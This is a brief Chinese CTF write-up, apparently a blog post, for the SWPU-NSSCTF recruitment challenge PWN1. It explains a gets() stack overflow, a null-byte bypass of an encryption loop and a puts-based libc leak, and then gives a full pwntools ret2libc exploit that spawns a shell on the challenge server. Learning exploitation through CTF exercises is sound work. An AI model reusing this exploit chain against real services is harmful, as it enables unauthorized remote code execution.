2025 SWPU-NSSCTF 秋季招新入门 PWN1

首先检查一下保护措施
image
然后用ida打开看一下
image
这里是要输入一个v4的值,如果不符合要求,就直接退出程序了,输入v4等于 1 即可
然后进入另一个函数
image
这里gets函数就存在栈溢出
然后应该是对输入的字符串进行一些操作
因为这里的x是无符号的整数,那么我在进行输入数据时就直接输入 "\x00",使得strlen长度为0,然后就直接break,跳过下面的变化过程了
然后就是利用puts函数进行libc的泄露

点击查看代码
from pwn import *
from LibcSearcher.LibcSearcher import LibcSearcher
io=remote("node5.anna.nssctf.cn",28745)
io.recvuntil(b"choice!")
io.sendline("1")
elf=ELF("./PWN1")
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
encrypt_addr=elf.symbols["encrypt"]
rdi_ret=0x400c83
ret=0x4006b9
payload1=b"\x00"+b'A'*(0x50-1+8)+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(encrypt_addr)
io.sendlineafter("Input your Plaintext to be encrypted",payload1)
io.recvuntil(b"Ciphertext\n")
io.recvuntil(b"\n")
puts_addr=u64(io.recv(6).ljust(8,b"\x00"))
libc=LibcSearcher("puts",puts_addr)
offset=puts_addr-libc.dump("puts")
binsh=offset+libc.dump("str_bin_sh")
system=offset+libc.dump("system")
payload2=b"\x00"+b'A'*(0x50-1+8)+p64(rdi_ret)+p64(binsh)+p64(ret)+p64(system)
io.sendlineafter("Input your Plaintext to be encrypted",payload2)
io.interactive()
posted @ 2025-09-02 15:17  Rye01R  阅读(27)  评论(0)    收藏  举报